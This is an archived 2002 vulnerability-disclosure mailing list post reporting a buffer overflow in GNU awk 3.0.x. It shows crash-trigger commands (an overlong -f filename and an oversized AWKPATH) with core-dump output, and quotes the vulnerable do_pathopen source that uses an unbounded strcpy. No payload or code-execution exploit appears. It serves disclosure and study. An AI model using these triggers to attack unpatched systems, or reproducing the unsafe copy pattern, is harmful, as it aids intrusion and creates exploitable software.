Vulnerability Development mailing list archives

Re: Buffer overflow in awk


From: Enphourell Security <secure () enphourell com>
Date: Mon, 18 Mar 2002 20:49:14 -0500

Works on Freebsd 4.5-STABLE  awk ver. 3.0.6


On 15 Mar 2002 03:41:15 -0000
keoki <keoki () techie com> wrote:



A buffer overflow exist in awk(named awk on most 
systems, but actualy is gawk/GNU awk) when calling 
the -f option, to include an awk script, and supplying a 
filename with a buffer length of 1022 and up. 


[root@neural keoki]# awk -f `perl -e 'print "A" x 1022'` 
awk: fatal error: internal error 
Abort (core dumped) 
[root@neural keoki]# awk -f `perl -e 'print "A" x 2048'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAA: fatal error: internal error 
Abort (core dumped) 
[root@neural keoki]# 

The bug exist in io.c in function do_pathopen 

/* do_pathopen --- search $AWKPATH for source file 
*/ 

static int 
do_pathopen(file) 
const char *file; 
{ 
static const char *savepath = NULL; 
static int first = TRUE; 
const char *awkpath; 
char *cp, trypath[BUFSIZ]; 
int fd; 

if (STREQ(file, "-")) 
return (0); 

if (do_traditional) 
return (devopen(file, "r")); 

if (first) { 
first = FALSE; 
if ((awkpath = getenv("AWKPATH")) != 
NULL && *awkpath) 
savepath = awkpath; /* used for 
restarting */ 
else 
savepath = defpath; 
} 
awkpath = savepath; 

/* some kind of path name, no search */ 
if (ispath(file)) 
return (devopen(file, "r")); 

do { 
trypath[0] = '\0'; 


/* this should take into account limits on size of 
trypath */ 
for (cp = trypath; *awkpath && *awkpath != 
envsep; ) 
*cp++ = *awkpath++; 

if (cp != trypath) { /* nun-null element in 
path */ 
/* add directory punctuation only if 
needed */ 
if (! isdirpunct(*(cp-1))) 
*cp++ = '/'; 
/* append filename */ 
strcpy(cp, file); 
} else 
strcpy(trypath, file); 
if ((fd = devopen(trypath, "r")) > 
INVALID_HANDLE) 
return (fd); 

/* no luck, keep going */ 
if(*awkpath == envsep && awkpath[1] ! 
= '\0') 
awkpath++; /* skip colon */ 
} while (*awkpath != '\0'); 
/* 
* You might have one of the awk paths defined, 
WITHOUT the current 
* working directory in it. Therefore try to open 
the file in the 
* current directory. 
*/ 
return (devopen(file, "r")); 

} 


It can also be crashed with an env variable as follows 

[root@neural keoki]# env AWKPATH=`perl - 
e 'print "A" x 2048'` awk -f xx 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA/e/keoki: fatal error: internal error 
Abort (core dumped) 
[root@neural keoki]# 



This was tested on FreeBSD platform(fbsd 4.0 && 
4.4) against awk(which is actually gnu awk) versions 
3.0.6 && 3.0.4 

[root@neural keoki]# awk -W version | sed -n '1p' 
GNU Awk 3.0.6 
[root@neural keoki]# 

[root@keoki][~]# awk -W version | sed -n '1p' 
GNU Awk 3.0.4 
[root@keoki][~]# 


This was also tested on caldera and mandrake, and 
worked, but using a significantly higher buffer length. 


Shouts: aho, weinberger, kernighan and #ch0wn 


-- keoki 
-- keoki () techie com 
-- http://sleek.cyberarmy.com 




Current thread: